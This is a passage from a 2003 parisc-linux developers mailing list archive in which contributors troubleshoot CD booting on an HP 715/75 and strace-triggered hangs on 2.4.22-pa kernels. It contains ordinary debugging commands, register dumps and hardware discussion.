the J200 in place of the 715 while I tinker with the 715 to nail down the
problem. Then I should be able to regress through the kernels from cvs
until I find the one where it stopped working, and hopefully I should be
able to find a resolution from there.

Unfortunately, I was caught out right at the start - after lugging all 60
kilos of it home and downstairs into my basement server room, I discovered
that someone had borrowed the drives out of it, so I'll have to bring home
an enclosure next week to continue my testing.

In the meantime, I tried a net install which ultimately failed trying to
extract debs to the nfs root (which, incidentally, took about 5 minutes to
mount - is this to be expected on the install disks? It usually only takes
a couple of seconds for my 715 to mount an nfs partition off my
workstation). Unfortunately I was on serial console so couldn't get much
in the way of diags, I'll have to move a monitor into my server room to
hook up to it (the J200 doesn't like my 15" SVGA test monitor,
unfortunately).

> Good question? never have to test it but it is a bootable cd (I don't
> remember if it is available via internet?) so if you copy it's image
> (with dd) on a system, i think that following the faq how-to netboot
> <http://parisc-linux.org/faq/index.html#netboot> , it would works?

Hmmm... you mean like dd if=/dev/scd0 of=lifimage.testing? I guess that'll
be my next try :-)

> > Well, the frustrating thing is is that there's no debug output anywhere
> > that I can find that's showing anything obviously wrong.
> Don't feel alone, during severall month (2, 3, 4, ... I don't want to
> remember) I try to get just a panic message from a smp kernel on a N4k
> : no success :_(

Ah well... misery loves company, I guess! :-)

> hmm, what kind of disk have you on your D: hot-swapable or fixed?
> (with fixed disk, I already encounter a pb of flat cable and with
> hot-swap disk a pb with dust on disks' support)

Fixed. I don't *think* it's a problem with the cable, since (a) I reseated
all the cables after the first couple of times it died, and (b) after the
last time it reset, I rebooted back to 2.4.18 to make sure it wasn't a
flat-out hardware error (as opposed to possibly a hardware bug being
tickled by 2.4.22).

Thanks for the help :-)

Cheers, Steve


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Fri, 21 Nov 2003 21:57:31 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20031122045731.GA29917@colo.lackof.org>
References: <171.26ba943e.2cefd34e@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622985 2160 80.91.229.3 (22 Nov 2014 02:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: JjDunnjr@aol.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 21:57:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C2964840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 21:57:32 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DF3AA298034; Fri, 21 Nov 2003 21:57:31 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29156-07; Fri, 21 Nov 2003 21:57:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1A72829800B; Fri, 21 Nov 2003 21:57:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <171.26ba943e.2cefd34e@aol.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20176

On Fri, Nov 21, 2003 at 03:45:02PM -0500, JjDunnjr@aol.com wrote:
> To all who took the time to reply, thank you
> Progress to date:
> 1. Set jumper to 512 k sector on the TEAC.  715/75 recognized it as a 
> different model.

very good - I'm amazed I hadn't heard about the 512 vs 2k sectors before.
But it's been 8 years since I seriously poked at SCSI devices.

> 2. It spun the disk upon issuing the "bo P2" command, however, i still got 
> the
> ENTRY_INIT =-4 message

The PA I/O Architecture Control Document (aka IO ACD) describes the 
ENTRY_INIT returns codes. See "Documentation" on www.parisc-linux.org.

> I will try to do a net boot next
> 
> if that fails, I will try to copy onto the boot 715/75 hard drive the 
> necessary files.  Which leads me to my next question, which files(s) would be 
> necessary for the 715/75 to boot
> 
> Would "lifimage" be enough or should i place "rescue.bin", "linux.bin" and 
> "drivers.gz" on the hard drive

Only the lifimage.
You will need two hard disks.
dd the lifimage you get from ftp.parisc-linux.org onto one harddisk and
 then boot the parisc machine from that disk. Install on the other disk.

It would be useful to check (via the "execute a shell" option) if the CD
is readable by the OS. If so, it can be used as an install source.
It's possible the CD is still readable but not bootable because
the CD burning SW used might have mangled the .ISO data.

hth,
grant


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Fri, 21 Nov 2003 22:29:15 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <20031122052915.GB29917@colo.lackof.org>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622986 2161 80.91.229.3 (22 Nov 2014 02:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 22:29:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E8314840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 22:29:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 95F44298034; Fri, 21 Nov 2003 22:29:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29669-08; Fri, 21 Nov 2003 22:29:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BABC629800B; Fri, 21 Nov 2003 22:29:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FB265250000556F@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20177

On Fri, Nov 21, 2003 at 01:39:49PM +0100, Joel Soete wrote:
> Hi Grant,
> 
> I am tring to track a lpr pb on my b2k and so try:
> # strace -f /usr/bin/lpr foo.doc
> 
> that works;

ok

> I read your post and try so now:
> # strace -f -o /var/tmp/Strace.doc /usr/bin/lpr foo.doc
> 
> and system also hang (same behaviour as)
> and so I toc it (which seems to failled ; apparently because of ide-cdrom???)

hrm. I doubt the ide-cdrom is causing the TOC to fail. 
It's likely the CD-ROM drive is getting reset when TOC occurs
and that's the noise you hear.
Something else might be causing problems.

> I took the opportunity to unplug ide-cable's cdrom (to test various).
> 
> Then to try to obtain a relevant toc, I re-launch:
> # strace -f -o /var/tmp/Strace.doc /usr/bin/lpr foo.doc
> 
> This time it works??
> Is it the same for you after the reboot?

I haven't retried because I need that to actaully work on that system.
I'm building a new kernel and will try at home tonight.


> (sorry, I tried severall time strace but no more means to reproduce)

bummer. Makes me wonder if this is CPU cache related too. 

> PS: btw the end of my strace is:
> [...]
> 24801 write(3, "\1lp\n", 4)             = 4
> 24801 read(3, "\0", 1)                  = 1
> 24801 close(3)                          = 0
> 24801 SYS_222(0, 0, 0x1, 0x2f, 0)       = -1 ENOSYS (Function not implemented)
> 24801 exit(0)                           = ?
> 
> And at the same time, at the serial console I got:
> + set -v
> + exec
> 
> Have you any advise about what I miss?

include/asm/unistd.h says:
#define __NR_exit_group         (__NR_Linux + 222)

No architecture implements that syscall.
("find -name '*.[S]' | xargs fgrep exit_group")
I have no clue what it's supposed to do and looks like
I don't need to care either.

Perhaps just recompiling the application or linked lib that uses
that syscall might get rid of it.

grant


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Fri, 21 Nov 2003 22:35:32 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20031122053532.GC29917@colo.lackof.org>
References: <171.26ba943e.2cefd34e@aol.com> <20031122045731.GA29917@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622986 2164 80.91.229.3 (22 Nov 2014 02:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: JjDunnjr@aol.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 21 22:35:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D01A04866
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Nov 2003 22:35:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D6B6A298034; Fri, 21 Nov 2003 22:35:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29669-09; Fri, 21 Nov 2003 22:35:32 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 395C129800B; Fri, 21 Nov 2003 22:35:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031122045731.GA29917@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20178

On Fri, Nov 21, 2003 at 09:57:31PM -0700, Grant Grundler wrote:
> > 2. It spun the disk upon issuing the "bo P2" command, however, i still got 
> > the
> > ENTRY_INIT =-4 message
> 
> The PA I/O Architecture Control Document (aka IO ACD) describes the 
> ENTRY_INIT returns codes. See "Documentation" on www.parisc-linux.org.

sorry - it's called "iodc.pdf" on
	http://www.parisc-linux.org/documentation/index.html

-4	Unrecoverable hardware error
	A hardware error on the module or device prevented the call
	from completing correctly.
	CONDITIONAL. Must be used if hardware errors are isolated.

Sounds like either a problem with the CD or the CD-ROM drive.

grant


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Sat, 22 Nov 2003 11:58:29 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <3FBF4F65.70502@tiscali.be>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net> <20031122052915.GB29917@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622986 2168 80.91.229.3 (22 Nov 2014 02:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 22 04:58:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAF3A487E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Nov 2003 04:58:09 -0700 (MST)
Original-Received: from [62.235.121.29] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANWOu-0004XU-AK; Sat, 22 Nov 2003 12:58:08 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031122052915.GB29917@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20179


Grant Grundler wrote:
> On Fri, Nov 21, 2003 at 01:39:49PM +0100, Joel Soete wrote:
> 
>>Hi Grant,
>>
>>I am tring to track a lpr pb on my b2k and so try:
>># strace -f /usr/bin/lpr foo.doc
>>
>>that works;
> 
> 
> ok
> 
> 
>>I read your post and try so now:
>># strace -f -o /var/tmp/Strace.doc /usr/bin/lpr foo.doc
>>
>>and system also hang (same behaviour as)
>>and so I toc it (which seems to failled ; apparently because of ide-cdrom???)
> 
> 
> hrm. I doubt the ide-cdrom is causing the TOC to fail. 

I don't know but seems to hang like boot hang when I include the pdc 
support into the kernel: green led stay lightning. (and toc seems to 
failed because of a time out IO; i don't remember but I think i do have 
to read it on lcd)

> It's likely the CD-ROM drive is getting reset when TOC occurs
> and that's the noise you hear.
> Something else might be causing problems.
> 
Well, I don't realy need that system hang to toc it? (just think right now)
So when I have some time, I will re-try a toc when system is running and 
see what hapen ;)
> 
>>I took the opportunity to unplug ide-cable's cdrom (to test various).
>>
>>Then to try to obtain a relevant toc, I re-launch:
>># strace -f -o /var/tmp/Strace.doc /usr/bin/lpr foo.doc
>>
>>This time it works??
>>Is it the same for you after the reboot?
> 
> 
> I haven't retried because I need that to actaully work on that system.
> I'm building a new kernel and will try at home tonight.
> 
Ok
> 
> 
>>(sorry, I tried severall time strace but no more means to reproduce)
> 
> 
> bummer. Makes me wonder if this is CPU cache related too. 
> 
I am curious to see the result of your test ?)
> 
>>PS: btw the end of my strace is:
>>[...]
>>24801 write(3, "\1lp\n", 4)             = 4
>>24801 read(3, "\0", 1)                  = 1
>>24801 close(3)                          = 0
>>24801 SYS_222(0, 0, 0x1, 0x2f, 0)       = -1 ENOSYS (Function not implemented)
>>24801 exit(0)                           = ?
>>
>>And at the same time, at the serial console I got:
>>+ set -v
>>+ exec
>>
>>Have you any advise about what I miss?
> 
> 
> include/asm/unistd.h says:
> #define __NR_exit_group         (__NR_Linux + 222)
> 
> No architecture implements that syscall.
> ("find -name '*.[S]' | xargs fgrep exit_group")
> I have no clue what it's supposed to do and looks like
> I don't need to care either.
> 
> Perhaps just recompiling the application or linked lib that uses
> that syscall might get rid of it.
> 
Good idea, I will try.

what I don't understand is that lpr works fine on my b180 runing a 
k-2.4.21 (for lvm2 support) otc the b2k is running a k-2.4.23-rc2-pa7 (a 
merge of mine); so my doubt is that I could break something :(.

Thanks for advise,
	Joel


> grant
> 



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Sat, 22 Nov 2003 15:09:19 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20031122220919.GA6732@colo.lackof.org>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net> <20031122052915.GB29917@colo.lackof.org> <3FBF4F65.70502@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622987 2170 80.91.229.3 (22 Nov 2014 02:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 22 15:09:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 224E54840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Nov 2003 15:09:21 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7C2F7298037; Sat, 22 Nov 2003 15:09:20 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 06051-07; Sat, 22 Nov 2003 15:09:19 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 70E4F29802E; Sat, 22 Nov 2003 15:09:19 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FBF4F65.70502@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20180

On Sat, Nov 22, 2003 at 11:58:29AM +0000, Joel Soete wrote:
> I don't know but seems to hang like boot hang when I include the pdc 
> support into the kernel: green led stay lightning. (and toc seems to 
> failed because of a time out IO; i don't remember but I think i do have 
> to read it on lcd)

What do you mean by "PDC support"?
You mean CONFIG_PDC_CHASSIS?
AFAIK, this only enables chassis codes to be displayed on either
the "front panel" LCD or LEDs.

It looks like my box HPMCs after the TOC. The TOC performs
a reset and then seltests run. Then next thing on the LCD
display is "OS HPMC" even though the gfx card hasn't been
initialized yet.

> Well, I don't realy need that system hang to toc it?

Right. TOC is just convenient to use when the system is hung.

> So when I have some time, I will re-try a toc when system is running and 
> see what hapen ;)

You'll get state info about cpu_idle() or whatever it happens to
be doing.

> >bummer. Makes me wonder if this is CPU cache related too. 
> I am curious to see the result of your test ?)

2.4.22-pa17 on c3k, "strace -f -o /tmp/dcop.out dcopserver" hung at home. 

GR02 0x10389567	
20-23	0x32  0x0e 0x10 0x00
24-27   0x00  0x10 0xcc 0x102d2010

CR0-3 0x00 0x1822 0x00 0x1824

IOAQ 0x102a1188	number+170
CPU State 0x9e000001

Looks like the PIM dump is garbage. (gr02 is not a kernel address)
I've cleared the PIM and will retry later...gotta run.


> what I don't understand is that lpr works fine on my b180 runing a 
> k-2.4.21 (for lvm2 support) otc the b2k is running a k-2.4.23-rc2-pa7 (a 
> merge of mine); so my doubt is that I could break something :(.

Is this via parallel port or network printer?
If network, then I would guess your merge (or the 2.4.23-rc2 base) has a bug.
If parallel port, likely a bug in suckyio support for parallel port.

But it's not exactly "apples to apples" comparison since the IO subsystem
between B180 and B2k is completely different.

grant


From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Sat, 22 Nov 2003 22:45:51 +0000
Lines: 107
Approved: news@gmane.org
Message-ID: <3FBFE71F.7060207@tiscali.be>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net> <20031122052915.GB29917@colo.lackof.org> <3FBF4F65.70502@tiscali.be> <20031122220919.GA6732@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622987 2173 80.91.229.3 (22 Nov 2014 02:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 22 15:45:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 900644866
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Nov 2003 15:45:57 -0700 (MST)
Original-Received: from [62.235.120.155] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANgVo-0004k1-61; Sat, 22 Nov 2003 23:45:56 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031122220919.GA6732@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20181


Grant Grundler wrote:
> On Sat, Nov 22, 2003 at 11:58:29AM +0000, Joel Soete wrote:
> 
>>I don't know but seems to hang like boot hang when I include the pdc 
>>support into the kernel: green led stay lightning. (and toc seems to 
>>failed because of a time out IO; i don't remember but I think i do have 
>>to read it on lcd)
> 
> 
> What do you mean by "PDC support"?
> You mean CONFIG_PDC_CHASSIS?

Sorry I will have to check ((not the box near hand :( )

> AFAIK, this only enables chassis codes to be displayed on either
> the "front panel" LCD or LEDs.
> 
> It looks like my box HPMCs after the TOC.
Yes

> The TOC performs
> a reset
Yes (i trust ;) )
> and then seltests run.
Never for me, stay lock with ide-cdrom led lightning

> Then next thing on the LCD
> display is "OS HPMC"

Yes and on the half botum part are wraping some additional text

> even though the gfx card hasn't been
> initialized yet.
> 
I don't select sti support (builtin gfx not supported on b2k)
> 
>>Well, I don't realy need that system hang to toc it?
> 
> 
> Right. TOC is just convenient to use when the system is hung.
> 
> 
>>So when I have some time, I will re-try a toc when system is running and 
>>see what hapen ;)
> 
> 
> You'll get state info about cpu_idle() or whatever it happens to
> be doing.
> 
> 
>>>bummer. Makes me wonder if this is CPU cache related too. 
>>
>>I am curious to see the result of your test ?)
> 
> 
> 2.4.22-pa17 on c3k, "strace -f -o /tmp/dcop.out dcopserver" hung at home. 
> 
hmm b2k and c3k are very brother system in term of architecture and 
components? May I ask you the amount of ram stand in your c3k? (on my 
b2k only 256k).

> GR02 0x10389567	
> 20-23	0x32  0x0e 0x10 0x00
> 24-27   0x00  0x10 0xcc 0x102d2010
> 
> CR0-3 0x00 0x1822 0x00 0x1824
> 
> IOAQ 0x102a1188	number+170
> CPU State 0x9e000001
> 
> Looks like the PIM dump is garbage. (gr02 is not a kernel address)
> I've cleared the PIM and will retry later...gotta run.
> 
hmm the same when I tried to analyse hpmc gr02=0x00000150?

> 
> 
>>what I don't understand is that lpr works fine on my b180 runing a 
>>k-2.4.21 (for lvm2 support) otc the b2k is running a k-2.4.23-rc2-pa7 (a 
>>merge of mine); so my doubt is that I could break something :(.
> 
> 
> Is this via parallel port or network printer?
Sorry, via network (hp lazerjet 4mv)

> If network, then I would guess your merge (or the 2.4.23-rc2 base) has a bug.

Certainly :( [but where, the rest ftp, rsync, nfs-client, gtk-app, ... 
work fine and no special messages neither into kernel, messages or 
syslog?]. Well don't care now, it is just a beat anoying to printout my 
scripts.

> If parallel port, likely a bug in suckyio support for parallel port.
> 
> But it's not exactly "apples to apples" comparison since the IO subsystem
> between B180 and B2k is completely different.
> 
agree

Thanks,
	Joel

> grant
> 



From - Thu Nov 08 21:30:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
